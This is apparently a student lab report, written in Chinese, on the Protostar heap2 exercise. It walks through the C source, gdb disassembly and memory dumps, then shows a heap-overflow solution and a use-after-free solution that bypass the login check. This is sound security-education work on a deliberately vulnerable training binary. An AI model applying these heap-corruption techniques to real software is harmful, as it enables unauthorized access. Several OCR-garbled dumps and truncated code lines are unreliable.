

CS3312 Lab Heap2

学号: 522031910439 姓名: 梁俊轩

2025年4月20日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap2 的 C 语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
 char name[32];
 int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
 char line[128];
 while(1) {
   printf("[ auth = %p, service = %p ]\n", auth, service);
   if(fgets(line, sizeof(line), stdin) == NULL) break;
   if(strncmp(line, "auth ", 5) == 0) {
     auth = malloc(sizeof(auth));
     memset(auth, 0, sizeof(auth));
     if(strlen(line + 5) < 31) {
       strcpy(auth->name, line + 5);
    if(strncmp(line, "reset", 5) == 0) {
     free (auth);
   if(strncmp(line, "service", 6) == 0) {
    service = strdup(line + 7);
   if(strncmp(line, "login", 5) == 0) {
    if(auth->auth) {
```



```
printf("you have logged in already!\n");
} else {
    printf("please enter your password\n");
    }
}
```

2 漏洞分析

程序接受以下命令:

auth <name>: 分配堆块存储认证信息 (含 authflag 字段)。reset: 释放已分配的 auth 堆块。service: 分配堆块存储服务名称。login: 检查 authflag 是否为非零值,通过则输出成功信息。

关键漏洞:

当执行 reset 后, auth 堆块被释放但指针未置空。后续 service 分配可能重用 auth 的堆块空间。通过多次 service 调用覆盖原 auth 结构体的 authflag 字段。

auth 和 service 分配的堆块大小不同(如 auth 为 32 字节, service 为 1024 字节),但释放后重新分配时可能利用 fastbin 机制覆盖相邻区域。

3 简单堆溢出

首先通过 gdb 查看汇编代码:

```
(gdb) disassemble main
 Dump of assembler code for function main:
 0x08048934 <main+0>:push ebp
 0x08048935 <main+1>:mov ebp,esp
 0x08048937 <main+3>:and esp, 0xfffffff0
 0x0804893a <main+6>:sub esp, 0x90
 0x08048940 <main+12>:jmp
                       0x8048943 <main+15>
 0x08048942 <main+14>:nop
 0x08048943 <main+15>:mov ecx, DWORD PTR ds:0x804b5f8
 0x08048949 <main+21>:mov edx, DWORD PTR ds:0x804b5f4
 0x0804894f <main+27>:mov eax,0x804ad70
 0x08048954 <main+32>:mov DWORD PTR [esp+0x8],ecx
 0x08048958 <main+36>:mov DWORD PTR [esp+0x4],edx
 0x0804895c <main+40>:mov DWORD PTR [esp],eax
 0x08048964 <main+48>:mov eax, ds:0x804b164
 0x08048969 <main+53>:mov DWORD PTR [esp+0x8],eax
 0x0804896d <main+57>:mov DWORD PTR [esp+0x4], 0x80
 0x08048975 <main+65>:lea eax,[esp+0x10]
 0x0804897c <main+72>:call 0x80487ac <fgets@plt>
 0x08048981 <main+77>:test eax,eax
 0x08048983 <main+79>:jne 0x8048987 <main+83>
 0x08048985 <main+81>:leave
 0x08048986 <main+82>:ret
 0x08048987 <main+83>:mov DWORD PTR [esp+0x8], 0x5
 0x0804898f <main+91>:mov DWORD PTR [esp+0x4], 0x804ad8d
```



```
0x08048997 <main+99>:lea eax,[esp+0x10]
0x0804899b <main+103>:mov
                          DWORD PTR [esp], eax
0x0804899e <main+106>:call
                         0x804884c <strncmp@plt>
0x080489a3 <main+111>:test
                          eax, eax
0x080489a5 <main+113>:jne
0x080489a7 <main+115>:mov
                          0x8048a01 <main+205>
                          DWORD PTR [esp], 0x4
0x080489ae <main+122>:call
                         0x804916a <malloc>
0x080489b3 <main+127>:mov
                          ds:0x804b5f4,eax
                          eax, ds:0x804b5f4
0x080489b8 <main+132>:mov
0x080489bd <main+137>:mov
                          DWORD PTR [esp+0x8],0x4
```

这题有 auth 和 service 两个变量,通过 malloc 动态分配空间,那么可以用 gdb 对 fgets 下断点

```
(gdb) b 0x0804897c
Function "0x0804897c" not defined.
Make breakpoint pending on future shared library load? (y or [n]) ^[[A^Cn (gdb) Quit
(gdb) D *0x0804897c
Breakpoint 1 at 0x804897c: file heap2/heap2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22     heap2/heap2.c: No such file or directory.
        in heap2/heap2.c
(gdb) c
Continuing.
auth ssssss
[ auth = 0x804c008, service = (nil) ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22     in heap2/heap2.c
(gdb) c
Continuing.
service aaaaaaaa
[ auth = 0x804c008, service = 0x804c018 ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22     in heap2/heap2.c
(gdb) p &auth->name
51 = (char (*)[32]) 0x804c008
(gdb) p &auth->name
51 = (char (*)[32]) 0x804c008
(gdb) p &auth->name
52 = (int *) 0x804c028
(gdb) p service
53 = 0x804c018 " aaaaaaaa\n"
```

图1下断点

可以看到按地址顺序排序的是:

auth->name ->service ->auth_auth

因此要想覆盖 auth->auth, 只需要将 service 给个大于 16 字节的内容即可:

```
root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 1234123412341234123412341234
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
```

可以看到最后成功 login。



4 UAF

输入 auth alice, 然后查看堆顶的地址,可以看到是 0x804c000, auth 的地址是 0x804c008。

```
(adb) r
 Starting program: /opt/protostar/bin/heap2
 [ auth = (nil), service = (nil) ]
 auth alice
 [ auth = 0x804c008, service = (nil) ]
 Program received signal SIGINT, Interrupt.
 0xb7f53cle in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
 82../sysdeps/unix/syscall-template.S: No such file or directory.
 in ../sysdeps/unix/syscall-template.S
 Current language: auto
 The current source language is "auto; currently asm".
 (gdb) info proc map
 process 2238
 cmdline = '/opt/protostar/bin/heap2'
 cwd = '/opt/protostar/bin'
 exe = '/opt/protostar/bin/heap2'
 Mapped address spaces:
 Start Addr End Addr
                       Size Offset objfile
 0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap2
 0x804b000 0x804c000 0x1000 0x3000
                                            /opt/protostar/bin/heap2
 0x804c000 0x804d000 0x1000
                                0
                                               [heap]
 0xb7e96000 0xb7e97000 0x1000
                                    0
0xb7e97000 0xb7fd5000 0x13e000
                                    0
                                            /lib/libc-2.11.2.so
 0xb7fd5000 0xb7fd6000 0x1000 0x13e000
                                             /lib/libc-2.11.2.so
 0xb7fd6000 0xb7fd8000 0x2000 0x13e000
                                             /lib/libc-2.11.2.so
 0xb7fd8000 0xb7fd9000 0x1000 0x140000
                                             /lib/libc-2.11.2.so
 0xb7fd9000 0xb7fdc000 0x3000
                               0
                                    0
 0xb7fde000 0xb7fe2000 0x4000
 0xb7fe2000 0xb7fe3000 0x1000
                                    0
                                               [vdso]
                                    0
 0xb7fe3000 0xb7ffe000 0x1b000
                                             /lib/ld-2.11.2.so
                                             /lib/ld-2.11.2.so
 0xb7ffe000 0xb7fff000 0x1000 0x1a000
 0xb7fff000 0xb8000000
                      0x1000 0x1b000
                                             /lib/ld-2.11.2.so
 0xbffeb000 0xc0000000 0x15000 0
                                            [stack]
```

打印从 0x804c000 开始的相关区域,



输入一次 reset 后, 我们发现 0x804c008 到 0x804c00b 被清空为 0 了

```
(gdb) c
Continuing.
reset
[ auth = 0x804c008, service = (nil) ]
Program received signal SIGINT, Interrupt.
0xb7f53cle in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000:0x000000000x000000110x00000000x00000a65
0x804c010:0x00000000x00000ff10x0000000x00000000
```

auth->auth 实际上指向的内存是 0x804c008+0x2=0x804c028, 我们可以通过不断向 service 来向 堆管理器申请区域来将 auth->auth 包含在内, 就可以让 auth->auth 为真。

```
service aaa
[ auth = 0x804c008, service = 0x804c008 ]
service bbb
[ auth = 0x804c008, service = 0x804c018 ]
service ccc
[ auth = 0x804c008, service = 0x804c028 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53cle in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000:0x00000000x000000110x616161200x0000000a
0x804c010:0x000000000x000000110x626262200x0000000a
0x804c020:0x000000000x000000110x636363200x0000000a
0x804c030:0x00000000x00000fd10x00000000x00000000
(qdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
```

可以看到最后成功 login。